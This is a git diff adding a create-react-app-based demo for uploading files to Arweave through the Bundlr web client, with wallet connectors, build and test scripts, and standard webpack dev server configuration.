+    // https://medium.com/webpack/webpack-dev-server-middleware-security-issues-1489d950874a
+    // However, it made several existing use cases such as development in cloud
+    // environment or subdomains in development significantly more complicated:
+    // https://github.com/facebook/create-react-app/issues/2271
+    // https://github.com/facebook/create-react-app/issues/2233
+    // While we're investigating better solutions, for now we will take a
+    // compromise. Since our WDS configuration only serves files in the `public`
+    // folder we won't consider accessing them a vulnerability. However, if you
+    // use the `proxy` feature, it gets more dangerous because it can expose
+    // remote code execution vulnerabilities in backends like Django and Rails.
+    // So we will disable the host check normally, but enable it if you have
+    // specified the `proxy` setting. Finally, we let you override it if you
+    // really know what you're doing with a special environment variable.
+    disableHostCheck:
+      !proxy || process.env.DANGEROUSLY_DISABLE_HOST_CHECK === 'true',
+    // Enable gzip compression of generated files.
+    compress: true,
+    // Silence WebpackDevServer's own logs since they're generally not useful.
+    // It will still show compile warnings and errors with this setting.
+    clientLogLevel: 'none',
+    // By default WebpackDevServer serves physical files from current directory
+    // in addition to all the virtual build products that it serves from memory.
+    // This is confusing because those files won’t automatically be available in
+    // production build folder unless we copy them. However, copying the whole
+    // project directory is dangerous because we may expose sensitive files.
+    // Instead, we establish a convention that only files in `public` directory
+    // get served. Our build script will copy `public` into the `build` folder.
+    // In `index.html`, you can get URL of `public` folder with %PUBLIC_URL%:
+    // <link rel="icon" href="%PUBLIC_URL%/favicon.ico">
+    // In JavaScript code, you can access it with `process.env.PUBLIC_URL`.
+    // Note that we only recommend to use `public` folder as an escape hatch
+    // for files like `favicon.ico`, `manifest.json`, and libraries that are
+    // for some reason broken when imported through webpack. If you just want to
+    // use an image, put it in `src` and `import` it from JavaScript instead.
+    contentBase: paths.appPublic,
+    contentBasePublicPath: paths.publicUrlOrPath,
+    // By default files from `contentBase` will not trigger a page reload.
+    watchContentBase: true,
+    // Enable hot reloading server. It will provide WDS_SOCKET_PATH endpoint
+    // for the WebpackDevServer client so it can learn when the files were
+    // updated. The WebpackDevServer client is included as an entry point
+    // in the webpack development configuration. Note that only changes
+    // to CSS are currently hot reloaded. JS changes will refresh the browser.
+    hot: true,
+    // Use 'ws' instead of 'sockjs-node' on server since we're using native
+    // websockets in `webpackHotDevClient`.
+    transportMode: 'ws',
+    // Prevent a WS client from getting injected as we're already including
+    // `webpackHotDevClient`.
+    injectClient: false,
+    // Enable custom sockjs pathname for websocket connection to hot reloading server.
+    // Enable custom sockjs hostname, pathname and port for websocket connection
+    // to hot reloading server.
+    sockHost,
+    sockPath,
+    sockPort,
+    // It is important to tell WebpackDevServer to use the same "publicPath" path as
+    // we specified in the webpack config. When homepage is '.', default to serving
+    // from the root.
+    // remove last slash so user can land on `/test` instead of `/test/`
+    publicPath: paths.publicUrlOrPath.slice(0, -1),
+    // WebpackDevServer is noisy by default so we emit custom message instead
+    // by listening to the compiler events with `compiler.hooks[...].tap` calls above.
+    quiet: true,
+    // Reportedly, this avoids CPU overload on some systems.
+    // https://github.com/facebook/create-react-app/issues/293
+    // src/node_modules is not ignored to support absolute imports
+    // https://github.com/facebook/create-react-app/issues/1065
+    watchOptions: {
+      ignored: ignoredFiles(paths.appSrc),
+    },
+    https: getHttpsConfig(),
+    host,
+    overlay: false,
+    historyApiFallback: {
+      // Paths with dots should still use the history fallback.
+      // See https://github.com/facebook/create-react-app/issues/387.
+      disableDotRule: true,
+      index: paths.publicUrlOrPath,
+    },
+    public: allowedHost,
+    // `proxy` is run between `before` and `after` `webpack-dev-server` hooks
+    proxy,
+    before(app, server) {
+      // Keep `evalSourceMapMiddleware` and `errorOverlayMiddleware`
+      // middlewares before `redirectServedPath` otherwise will not have any effect
+      // This lets us fetch source contents from webpack for the error overlay
+      app.use(evalSourceMapMiddleware(server));
+      // This lets us open files from the runtime error overlay.
+      app.use(errorOverlayMiddleware());
+
+      if (fs.existsSync(paths.proxySetup)) {
+        // This registers user provided middleware for proxy reasons
+        require(paths.proxySetup)(app);
+      }
+    },
+    after(app) {
+      // Redirect to `PUBLIC_URL` or `homepage` from `package.json` if url not match
+      app.use(redirectServedPath(paths.publicUrlOrPath));
+
+      // This service worker file is effectively a 'no-op' that will reset any
+      // previous service worker registered for the same host:port combination.
+      // We do this in development to avoid hitting the production cache if
+      // it used the same host and port.
+      // https://github.com/facebook/create-react-app/issues/2272#issuecomment-302832432
+      app.use(noopServiceWorkerMiddleware(paths.publicUrlOrPath));
+    },
+  };
+};
diff --git a/basic/70-arweave-file-upload-with-bundlr/package.json b/basic/70-arweave-file-upload-with-bundlr/package.json
new file mode 100644
index 000000000..dbb784620
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/package.json
@@ -0,0 +1,167 @@
+{
+  "name": "bundlr-demo-app",
+  "version": "0.1.0",
+  "private": true,
+  "description": "A demo application that implements the Bundlr web client to allow for 3rd party injected signers such as those exposed by MetaMask and WalletConnect",
+  "homepage": "./",
+  "dependencies": {
+    "@babel/core": "7.12.3",
+    "@bundlr-network/client": "^0.5.12",
+    "@chakra-ui/icons": "^1.1.1",
+    "@chakra-ui/react": "1.6.12",
+    "@emotion/react": "^11.7.0",
+    "@emotion/styled": "^11.6.0",
+    "@pmmmwh/react-refresh-webpack-plugin": "0.4.3",
+    "@svgr/webpack": "5.5.0",
+    "@testing-library/jest-dom": "^5.11.4",
+    "@testing-library/react": "^11.1.0",
+    "@testing-library/user-event": "^12.1.10",
+    "@types/jest": "^26.0.15",
+    "@types/node": "^12.0.0",
+    "@types/react": "^17.0.0",
+    "@types/react-dom": "^17.0.0",
+    "@typescript-eslint/eslint-plugin": "^4.5.0",
+    "@typescript-eslint/parser": "^4.5.0",
+    "@walletconnect/web3-provider": "^1.6.6",
+    "babel-eslint": "^10.1.0",
+    "babel-jest": "^26.6.0",
+    "babel-loader": "8.1.0",
+    "babel-plugin-named-asset-import": "^0.3.7",
+    "babel-preset-react-app": "^10.0.0",
+    "bfj": "^7.0.2",
+    "bignumber.js": "^9.0.2",
+    "camelcase": "^6.1.0",
+    "case-sensitive-paths-webpack-plugin": "2.3.0",
+    "css-loader": "4.3.0",
+    "dotenv": "8.2.0",
+    "dotenv-expand": "5.1.0",
+    "eslint": "^7.11.0",
+    "eslint-config-react-app": "^6.0.0",
+    "eslint-plugin-flowtype": "^5.2.0",
+    "eslint-plugin-import": "^2.22.1",
+    "eslint-plugin-jest": "^24.1.0",
+    "eslint-plugin-jsx-a11y": "^6.3.1",
+    "eslint-plugin-react": "^7.21.5",
+    "eslint-plugin-react-hooks": "^4.2.0",
+    "eslint-plugin-testing-library": "^3.9.2",
+    "eslint-webpack-plugin": "^2.5.2",
+    "ethers": "^5.5.3",
+    "file-loader": "6.1.1",
+    "framer-motion": "^4.1.17",
+    "fs-extra": "^9.0.1",
+    "html-webpack-plugin": "4.5.0",
+    "identity-obj-proxy": "3.0.0",
+    "jest": "26.6.0",
+    "jest-circus": "26.6.0",
+    "jest-resolve": "26.6.0",
+    "jest-watch-typeahead": "0.6.1",
+    "mini-css-extract-plugin": "0.11.3",
+    "near-api-js": "^0.44.2",
+    "optimize-css-assets-webpack-plugin": "5.0.4",
+    "pnp-webpack-plugin": "1.6.4",
+    "postcss-flexbugs-fixes": "4.2.1",
+    "postcss-loader": "3.0.0",
+    "postcss-normalize": "8.0.1",
+    "postcss-preset-env": "6.7.0",
+    "postcss-safe-parser": "5.0.2",
+    "prompts": "2.4.0",
+    "react": "^17.0.2",
+    "react-app-polyfill": "^2.0.0",
+    "react-dev-utils": "^11.0.3",
+    "react-dom": "^17.0.2",
+    "react-refresh": "^0.8.3",
+    "resolve": "1.18.1",
+    "resolve-url-loader": "^3.1.2",
+    "sass-loader": "^10.0.5",
+    "semver": "7.5.2",
+    "style-loader": "1.3.0",
+    "terser-webpack-plugin": "4.2.3",
+    "ts-pnp": "1.2.0",
+    "typescript": "^4.1.2",
+    "url-loader": "4.1.1",
+    "web-vitals": "^1.0.1",
+    "web3modal": "^1.9.4",
+    "webpack": "5.94.0",
+    "webpack-dev-server": "3.11.1",
+    "webpack-manifest-plugin": "2.2.0",
+    "workbox-webpack-plugin": "5.1.4"
+  },
+  "scripts": {
+    "start": "node scripts/start.js",
+    "build": "node scripts/build.js",
+    "test": "node scripts/test.js"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": [
+    ">0.2%",
+    "not ie <= 99",
+    "not android <= 4.4.4",
+    "not dead",
+    "not op_mini all"
+  ],
+  "devDependencies": {
+    "gh-pages": "^3.2.3"
+  },
+  "jest": {
+    "roots": [
+      "<rootDir>/src"
+    ],
+    "collectCoverageFrom": [
+      "src/**/*.{js,jsx,ts,tsx}",
+      "!src/**/*.d.ts"
+    ],
+    "setupFiles": [
+      "react-app-polyfill/jsdom"
+    ],
+    "setupFilesAfterEnv": [
+      "<rootDir>/src/setupTests.ts"
+    ],
+    "testMatch": [
+      "<rootDir>/src/**/__tests__/**/*.{js,jsx,ts,tsx}",
+      "<rootDir>/src/**/*.{spec,test}.{js,jsx,ts,tsx}"
+    ],
+    "testEnvironment": "jsdom",
+    "testRunner": "/workspaces/js-client/demo-app/node_modules/jest-circus/runner.js",
+    "transform": {
+      "^.+\\.(js|jsx|mjs|cjs|ts|tsx)$": "<rootDir>/config/jest/babelTransform.js",
+      "^.+\\.css$": "<rootDir>/config/jest/cssTransform.js",
+      "^(?!.*\\.(js|jsx|mjs|cjs|ts|tsx|css|json)$)": "<rootDir>/config/jest/fileTransform.js"
+    },
+    "transformIgnorePatterns": [
+      "[/\\\\]node_modules[/\\\\].+\\.(js|jsx|mjs|cjs|ts|tsx)$",
+      "^.+\\.module\\.(css|sass|scss)$"
+    ],
+    "modulePaths": [],
+    "moduleNameMapper": {
+      "^react-native$": "react-native-web",
+      "^.+\\.module\\.(css|sass|scss)$": "identity-obj-proxy"
+    },
+    "moduleFileExtensions": [
+      "web.js",
+      "js",
+      "web.ts",
+      "ts",
+      "web.tsx",
+      "tsx",
+      "json",
+      "web.jsx",
+      "jsx",
+      "node"
+    ],
+    "watchPlugins": [
+      "jest-watch-typeahead/filename",
+      "jest-watch-typeahead/testname"
+    ],
+    "resetMocks": true
+  },
+  "babel": {
+    "presets": [
+      "react-app"
+    ]
+  }
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/public/favicon.svg b/basic/70-arweave-file-upload-with-bundlr/public/favicon.svg
new file mode 100644
index 000000000..cca220f49
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/public/favicon.svg
@@ -0,0 +1,4 @@
+<svg width="177" height="197" viewBox="0 0 177 197" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M162.245 31.6705C157.631 28.8924 152.35 27.4188 146.964 27.4066C146.079 27.4066 145.19 27.4479 144.346 27.5304C141.821 27.7462 139.337 28.3013 136.96 29.1809C135.575 29.6566 134.233 30.2486 132.948 30.9507L117.121 39.3913L109.694 43.4031L55.9187 72.1912C51.1626 74.7174 47.1858 78.4932 44.4163 83.1119C41.6469 87.7306 40.1898 93.0172 40.2019 98.4025V124.403L60.0404 113.766V98.4025C60.0377 96.6171 60.5188 94.8643 61.4327 93.3304C62.3466 91.7965 63.659 90.5389 65.2304 89.6914L109.634 65.9283L117.066 61.9624L136.905 51.3256L142.223 48.4555C142.89 48.0914 143.598 47.8082 144.332 47.6119C145.14 47.3695 145.978 47.2414 146.822 47.2314C148.622 47.2454 150.385 47.7409 151.929 48.6664C153.393 49.5338 154.604 50.7696 155.441 52.2505C156.278 53.7314 156.713 55.4058 156.702 57.1071V112.991C156.711 114.779 156.232 116.534 155.316 118.07C154.401 119.605 153.084 120.861 151.508 121.703L59.9166 170.687V153.086L40.0781 163.722V186.307C40.0768 188.12 40.5469 189.902 41.4423 191.478C42.3378 193.055 43.6278 194.371 45.1856 195.298C46.8145 196.285 48.6869 196.796 50.5911 196.774C52.3116 196.77 54.0055 196.35 55.529 195.55L160.842 139.157C165.599 136.632 169.575 132.857 172.343 128.237C175.11 123.618 176.563 118.33 176.545 112.946V57.1621C176.623 52.0291 175.341 46.9668 172.83 42.4896C170.318 38.0123 166.666 34.2796 162.245 31.6705Z" fill="currentColor"/>
+<path d="M117.121 70.3756V85.7394C117.13 87.5259 116.651 89.281 115.736 90.8158C114.822 92.3506 113.506 93.6072 111.931 94.4505L67.5274 118.214L60.0954 122.221L40.2569 132.858L32.8295 136.828L20.4184 143.494V71.0909C20.4146 69.3047 20.8958 67.5509 21.8107 66.0168C22.7255 64.4826 24.0397 63.2255 25.613 62.3797L102.601 21.1576C104.004 20.3747 105.58 19.954 107.186 19.9335C108.986 19.9493 110.749 20.4446 112.294 21.3685C113.757 22.237 114.968 23.4736 115.805 24.9552C116.642 26.4369 117.077 28.1119 117.066 29.8138V30.9095L129.349 24.3257C131.398 23.2233 133.547 22.319 135.768 21.6253C133.726 14.3611 128.964 8.16264 122.472 4.31758C118.075 1.67348 113.065 0.220746 107.936 0.102563C102.806 -0.0156209 97.7347 1.20481 93.2207 3.6436L16.1958 44.8795C11.4429 47.4084 7.46943 51.1851 4.7026 55.8035C1.93577 60.4219 0.480312 65.7072 0.492755 71.0909V159.055C0.490495 160.868 0.960234 162.651 1.85576 164.227C2.75129 165.803 4.04177 167.12 5.60024 168.046C7.22734 169.033 9.09802 169.546 11.0012 169.527C12.7217 169.523 14.4157 169.103 15.939 168.303L32.7378 159.312L40.1698 155.3L60.0083 144.663L67.4357 140.652L121.252 111.951C126.007 109.425 129.981 105.649 132.746 101.029C135.511 96.41 136.962 91.123 136.942 85.7394V59.7343L117.121 70.3756Z" fill="currentColor"/>
+</svg>
diff --git a/basic/70-arweave-file-upload-with-bundlr/public/index.html b/basic/70-arweave-file-upload-with-bundlr/public/index.html
new file mode 100644
index 000000000..f1b47794e
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/public/index.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+  <meta charset="utf-8" />
+  <link rel="icon" href="%PUBLIC_URL%/favicon.svg" />
+  <meta name="viewport" content="width=device-width, initial-scale=1" />
+  <meta name="theme-color" content="#000000" />
+  <meta name="Bundlr Demo" content="Technical demo of the Bundlr web client" />
+  <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
+  <!--
+      manifest.json provides metadata used when your web app is installed on a
+      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
+    -->
+  <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+  <!--
+      Notice the use of %PUBLIC_URL% in the tags above.
+      It will be replaced with the URL of the `public` folder during the build.
+      Only files inside the `public` folder can be referenced from the HTML.
+
+      Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
+      work correctly both with client-side routing and a non-root public URL.
+      Learn how to configure a non-root public URL by running `npm run build`.
+    -->
+  <title>Bundlr Demo</title>
+</head>
+
+<body>
+  <noscript>You need to enable JavaScript to run this app.</noscript>
+  <div id="root"></div>
+  <!--
+      This HTML file is a template.
+      If you open it directly in the browser, you will see an empty page.
+
+      You can add webfonts, meta tags, or analytics to this file.
+      The build step will place the bundled scripts into the <body> tag.
+
+      To begin the development, run `npm start` or `yarn start`.
+      To create a production bundle, use `npm run build` or `yarn build`.
+    -->
+</body>
+
+</html>
\ No newline at end of file
diff --git a/basic/70-arweave-file-upload-with-bundlr/public/manifest.json b/basic/70-arweave-file-upload-with-bundlr/public/manifest.json
new file mode 100644
index 000000000..c21151dc3
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/public/manifest.json
@@ -0,0 +1,15 @@
+{
+  "short_name": "Bundlr Demo App",
+  "name": "Bundlr Demo App",
+  "icons": [
+    {
+      "src": "favicon.ico",
+      "sizes": "64x64 32x32 24x24 16x16",
+      "type": "image/x-icon"
+    }
+  ],
+  "start_url": ".",
+  "display": "standalone",
+  "theme_color": "#000000",
+  "background_color": "#ffffff"
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/public/robots.txt b/basic/70-arweave-file-upload-with-bundlr/public/robots.txt
new file mode 100644
index 000000000..e9e57dc4d
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/public/robots.txt
@@ -0,0 +1,3 @@
+# https://www.robotstxt.org/robotstxt.html
+User-agent: *
+Disallow:
diff --git a/basic/70-arweave-file-upload-with-bundlr/scripts/build.js b/basic/70-arweave-file-upload-with-bundlr/scripts/build.js
new file mode 100644
index 000000000..05f340f0b
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/scripts/build.js
@@ -0,0 +1,212 @@
+'use strict';
+
+// Do this as the first thing so that any code reading it knows the right env.
+process.env.BABEL_ENV = 'production';
+process.env.NODE_ENV = 'production';
+
+// Makes the script crash on unhandled rejections instead of silently
+// ignoring them. In the future, promise rejections that are not handled will
+// terminate the Node.js process with a non-zero exit code.
+process.on('unhandledRejection', err => {
+  throw err;
+});
+
+// Ensure environment variables are read.
+require('../config/env');
+
+
+const path = require('path');
+const chalk = require('react-dev-utils/chalk');
+const fs = require('fs-extra');
+const bfj = require('bfj');
+const webpack = require('webpack');
+const configFactory = require('../config/webpack.config');
+const paths = require('../config/paths');
+const checkRequiredFiles = require('react-dev-utils/checkRequiredFiles');
+const formatWebpackMessages = require('react-dev-utils/formatWebpackMessages');
+const printHostingInstructions = require('react-dev-utils/printHostingInstructions');
+const FileSizeReporter = require('react-dev-utils/FileSizeReporter');
+const printBuildError = require('react-dev-utils/printBuildError');
+
+const measureFileSizesBeforeBuild =
+  FileSizeReporter.measureFileSizesBeforeBuild;
+const printFileSizesAfterBuild = FileSizeReporter.printFileSizesAfterBuild;
+const useYarn = fs.existsSync(paths.yarnLockFile);
+
+// These sizes are pretty large. We'll warn for bundles exceeding them.
+const WARN_AFTER_BUNDLE_GZIP_SIZE = 512 * 1024;
+const WARN_AFTER_CHUNK_GZIP_SIZE = 1024 * 1024;
+
+const isInteractive = process.stdout.isTTY;
+
+// Warn and crash if required files are missing
+if (!checkRequiredFiles([paths.appHtml, paths.appIndexJs])) {
+  process.exit(1);
+}
+
+const argv = process.argv.slice(2);
+const writeStatsJson = argv.indexOf('--stats') !== -1;
+
+// Generate configuration
+const config = configFactory('production');
+
+// We require that you explicitly set browsers and do not fall back to
+// browserslist defaults.
+const { checkBrowsers } = require('react-dev-utils/browsersHelper');
+checkBrowsers(paths.appPath, isInteractive)
+  .then(() => {
+    // First, read the current file sizes in build directory.
+    // This lets us display how much they changed later.
+    return measureFileSizesBeforeBuild(paths.appBuild);
+  })
+  .then(previousFileSizes => {
+    // Remove all content but keep the directory so that
+    // if you're in it, you don't end up in Trash
+    fs.emptyDirSync(paths.appBuild);
+    // Merge with the public folder
+    copyPublicFolder();
+    // Start the webpack build
+    return build(previousFileSizes);
+  })
+  .then(
+    ({ stats, previousFileSizes, warnings }) => {
+      if (warnings.length) {
+        console.log(chalk.yellow('Compiled with warnings.\n'));
+        console.log(warnings.join('\n\n'));
+        console.log(
+          '\nSearch for the ' +
+            chalk.underline(chalk.yellow('keywords')) +
+            ' to learn more about each warning.'
+        );
+        console.log(
+          'To ignore, add ' +
+            chalk.cyan('// eslint-disable-next-line') +
+            ' to the line before.\n'
+        );
+      } else {
+        console.log(chalk.green('Compiled successfully.\n'));
+      }
+
+      console.log('File sizes after gzip:\n');
+      printFileSizesAfterBuild(
+        stats,
+        previousFileSizes,
+        paths.appBuild,
+        WARN_AFTER_BUNDLE_GZIP_SIZE,
+        WARN_AFTER_CHUNK_GZIP_SIZE
+      );
+      console.log();
+
+      const appPackage = require(paths.appPackageJson);
+      const publicUrl = paths.publicUrlOrPath;
+      const publicPath = config.output.publicPath;
+      const buildFolder = path.relative(process.cwd(), paths.appBuild);
+      printHostingInstructions(
+        appPackage,
+        publicUrl,
+        publicPath,
+        buildFolder,
+        useYarn
+      );
+    },
+    err => {
+      const tscCompileOnError = process.env.TSC_COMPILE_ON_ERROR === 'true';
+      if (tscCompileOnError) {
+        console.log(
+          chalk.yellow(
+            'Compiled with the following type errors (you may want to check these before deploying your app):\n'
+          )
+        );
+        printBuildError(err);
+      } else {
+        console.log(chalk.red('Failed to compile.\n'));
+        printBuildError(err);
+        process.exit(1);
+      }
+    }
+  )
+  .catch(err => {
+    if (err && err.message) {
+      console.log(err.message);
+    }
+    process.exit(1);
+  });
+
+// Create the production build and print the deployment instructions.
+function build(previousFileSizes) {
+  console.log('Creating an optimized production build...');
+
+  const compiler = webpack(config);
+  return new Promise((resolve, reject) => {
+    compiler.run((err, stats) => {
+      let messages;
+      if (err) {
+        if (!err.message) {
+          return reject(err);
+        }
+
+        let errMessage = err.message;
+
+        // Add additional information for postcss errors
+        if (Object.prototype.hasOwnProperty.call(err, 'postcssNode')) {
+          errMessage +=
+            '\nCompileError: Begins at CSS selector ' +
+            err['postcssNode'].selector;
+        }
+
+        messages = formatWebpackMessages({
+          errors: [errMessage],
+          warnings: [],
+        });
+      } else {
+        messages = formatWebpackMessages(
+          stats.toJson({ all: false, warnings: true, errors: true })
+        );
+      }
+      if (messages.errors.length) {
+        // Only keep the first error. Others are often indicative
+        // of the same problem, but confuse the reader with noise.
+        if (messages.errors.length > 1) {
+          messages.errors.length = 1;
+        }
+        return reject(new Error(messages.errors.join('\n\n')));
+      }
+      if (
+        process.env.CI &&
+        (typeof process.env.CI !== 'string' ||
+          process.env.CI.toLowerCase() !== 'false') &&
+        messages.warnings.length
+      ) {
+        console.log(
+          chalk.yellow(
+            '\nTreating warnings as errors because process.env.CI = true.\n' +
+              'Most CI servers set it automatically.\n'
+          )
+        );
+        return reject(new Error(messages.warnings.join('\n\n')));
+      }
+
+      const resolveArgs = {
+        stats,
+        previousFileSizes,
+        warnings: messages.warnings,
+      };
+
+      if (writeStatsJson) {
+        return bfj
+          .write(paths.appBuild + '/bundle-stats.json', stats.toJson())
+          .then(() => resolve(resolveArgs))
+          .catch(error => reject(new Error(error)));
+      }
+
+      return resolve(resolveArgs);
+    });
+  });
+}
+
+function copyPublicFolder() {
+  fs.copySync(paths.appPublic, paths.appBuild, {
+    dereference: true,
+    filter: file => file !== paths.appHtml,
+  });
+}
diff --git a/basic/70-arweave-file-upload-with-bundlr/scripts/start.js b/basic/70-arweave-file-upload-with-bundlr/scripts/start.js
new file mode 100644
index 000000000..92c2671b2
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/scripts/start.js
@@ -0,0 +1,166 @@
+'use strict';
+
+// Do this as the first thing so that any code reading it knows the right env.
+process.env.BABEL_ENV = 'development';
+process.env.NODE_ENV = 'development';
+
+// Makes the script crash on unhandled rejections instead of silently
+// ignoring them. In the future, promise rejections that are not handled will
+// terminate the Node.js process with a non-zero exit code.
+process.on('unhandledRejection', err => {
+  throw err;
+});
+
+// Ensure environment variables are read.
+require('../config/env');
+
+
+const fs = require('fs');
+const chalk = require('react-dev-utils/chalk');
+const webpack = require('webpack');
+const WebpackDevServer = require('webpack-dev-server');
+const clearConsole = require('react-dev-utils/clearConsole');
+const checkRequiredFiles = require('react-dev-utils/checkRequiredFiles');
+const {
+  choosePort,
+  createCompiler,
+  prepareProxy,
+  prepareUrls,
+} = require('react-dev-utils/WebpackDevServerUtils');
+const openBrowser = require('react-dev-utils/openBrowser');
+const semver = require('semver');
+const paths = require('../config/paths');
+const configFactory = require('../config/webpack.config');
+const createDevServerConfig = require('../config/webpackDevServer.config');
+const getClientEnvironment = require('../config/env');
+const react = require(require.resolve('react', { paths: [paths.appPath] }));
+
+const env = getClientEnvironment(paths.publicUrlOrPath.slice(0, -1));
+const useYarn = fs.existsSync(paths.yarnLockFile);
+const isInteractive = process.stdout.isTTY;
+
+// Warn and crash if required files are missing
+if (!checkRequiredFiles([paths.appHtml, paths.appIndexJs])) {
+  process.exit(1);
+}
+
+// Tools like Cloud9 rely on this.
+const DEFAULT_PORT = parseInt(process.env.PORT, 10) || 3000;
+const HOST = process.env.HOST || '0.0.0.0';
+
+if (process.env.HOST) {
+  console.log(
+    chalk.cyan(
+      `Attempting to bind to HOST environment variable: ${chalk.yellow(
+        chalk.bold(process.env.HOST)
+      )}`
+    )
+  );
+  console.log(
+    `If this was unintentional, check that you haven't mistakenly set it in your shell.`
+  );
+  console.log(
+    `Learn more here: ${chalk.yellow('https://cra.link/advanced-config')}`
+  );
+  console.log();
+}
+
+// We require that you explicitly set browsers and do not fall back to
+// browserslist defaults.
+const { checkBrowsers } = require('react-dev-utils/browsersHelper');
+checkBrowsers(paths.appPath, isInteractive)
+  .then(() => {
+    // We attempt to use the default port but if it is busy, we offer the user to
+    // run on a different port. `choosePort()` Promise resolves to the next free port.
+    return choosePort(HOST, DEFAULT_PORT);
+  })
+  .then(port => {
+    if (port == null) {
+      // We have not found a port.
+      return;
+    }
+
+    const config = configFactory('development');
+    const protocol = process.env.HTTPS === 'true' ? 'https' : 'http';
+    const appName = require(paths.appPackageJson).name;
+
+    const useTypeScript = fs.existsSync(paths.appTsConfig);
+    const tscCompileOnError = process.env.TSC_COMPILE_ON_ERROR === 'true';
+    const urls = prepareUrls(
+      protocol,
+      HOST,
+      port,
+      paths.publicUrlOrPath.slice(0, -1)
+    );
+    const devSocket = {
+      warnings: warnings =>
+        devServer.sockWrite(devServer.sockets, 'warnings', warnings),
+      errors: errors =>
+        devServer.sockWrite(devServer.sockets, 'errors', errors),
+    };
+    // Create a webpack compiler that is configured with custom messages.
+    const compiler = createCompiler({
+      appName,
+      config,
+      devSocket,
+      urls,
+      useYarn,
+      useTypeScript,
+      tscCompileOnError,
+      webpack,
+    });
+    // Load proxy config
+    const proxySetting = require(paths.appPackageJson).proxy;
+    const proxyConfig = prepareProxy(
+      proxySetting,
+      paths.appPublic,
+      paths.publicUrlOrPath
+    );
+    // Serve webpack assets generated by the compiler over a web server.
+    const serverConfig = createDevServerConfig(
+      proxyConfig,
+      urls.lanUrlForConfig
+    );
+    const devServer = new WebpackDevServer(compiler, serverConfig);
+    // Launch WebpackDevServer.
+    devServer.listen(port, HOST, err => {
+      if (err) {
+        return console.log(err);
+      }
+      if (isInteractive) {
+        clearConsole();
+      }
+
+      if (env.raw.FAST_REFRESH && semver.lt(react.version, '16.10.0')) {
+        console.log(
+          chalk.yellow(
+            `Fast Refresh requires React 16.10 or higher. You are using React ${react.version}.`
+          )
+        );
+      }
+
+      console.log(chalk.cyan('Starting the development server...\n'));
+      openBrowser(urls.localUrlForBrowser);
+    });
+
+    ['SIGINT', 'SIGTERM'].forEach(function (sig) {
+      process.on(sig, function () {
+        devServer.close();
+        process.exit();
+      });
+    });
+
+    if (process.env.CI !== 'true') {
+      // Gracefully exit when stdin ends
+      process.stdin.on('end', function () {
+        devServer.close();
+        process.exit();
+      });
+    }
+  })
+  .catch(err => {
+    if (err && err.message) {
+      console.log(err.message);
+    }
+    process.exit(1);
+  });
diff --git a/basic/70-arweave-file-upload-with-bundlr/scripts/test.js b/basic/70-arweave-file-upload-with-bundlr/scripts/test.js
new file mode 100644
index 000000000..b57cb3834
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/scripts/test.js
@@ -0,0 +1,53 @@
+'use strict';
+
+// Do this as the first thing so that any code reading it knows the right env.
+process.env.BABEL_ENV = 'test';
+process.env.NODE_ENV = 'test';
+process.env.PUBLIC_URL = '';
+
+// Makes the script crash on unhandled rejections instead of silently
+// ignoring them. In the future, promise rejections that are not handled will
+// terminate the Node.js process with a non-zero exit code.
+process.on('unhandledRejection', err => {
+  throw err;
+});
+
+// Ensure environment variables are read.
+require('../config/env');
+
+
+const jest = require('jest');
+const execSync = require('child_process').execSync;
+let argv = process.argv.slice(2);
+
+function isInGitRepository() {
+  try {
+    execSync('git rev-parse --is-inside-work-tree', { stdio: 'ignore' });
+    return true;
+  } catch (e) {
+    return false;
+  }
+}
+
+function isInMercurialRepository() {
+  try {
+    execSync('hg --cwd . root', { stdio: 'ignore' });
+    return true;
+  } catch (e) {
+    return false;
+  }
+}
+
+// Watch unless on CI or explicitly running all tests
+if (
+  !process.env.CI &&
+  argv.indexOf('--watchAll') === -1 &&
+  argv.indexOf('--watchAll=false') === -1
+) {
+  // https://github.com/facebook/create-react-app/issues/5210
+  const hasSourceControl = isInGitRepository() || isInMercurialRepository();
+  argv.push(hasSourceControl ? '--watch' : '--watchAll');
+}
+
+
+jest.run(argv);
diff --git a/basic/70-arweave-file-upload-with-bundlr/src/App.test.tsx b/basic/70-arweave-file-upload-with-bundlr/src/App.test.tsx
new file mode 100644
index 000000000..2a68616d9
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/src/App.test.tsx
@@ -0,0 +1,9 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import App from './App';
+
+test('renders learn react link', () => {
+  render(<App />);
+  const linkElement = screen.getByText(/learn react/i);
+  expect(linkElement).toBeInTheDocument();
+});
diff --git a/basic/70-arweave-file-upload-with-bundlr/src/App.tsx b/basic/70-arweave-file-upload-with-bundlr/src/App.tsx
new file mode 100644
index 000000000..0166d1e1d
--- /dev/null
+++ b/basic/70-arweave-file-upload-with-bundlr/src/App.tsx
@@ -0,0 +1,453 @@
+import React from "react";
+
+import { WebBundlr } from "@bundlr-network/client"
+import BigNumber from "bignumber.js";
+import { Button } from "@chakra-ui/button";
+import { Input, HStack, Text, VStack, useToast, Menu, MenuButton, MenuList, MenuItem, Tooltip } from "@chakra-ui/react";
+import { ChevronDownIcon } from "@chakra-ui/icons"
+
+import WalletConnectProvider from "@walletconnect/web3-provider";
+import { providers } from "ethers"
+import { Web3Provider } from "@ethersproject/providers";
+// import { PhantomWalletAdapter } from "@solana/wallet-adapter-phantom"
+import * as nearAPI from "near-api-js"
+import { WalletConnection } from "near-api-js";
+
+const { keyStores, connect } = nearAPI;
+
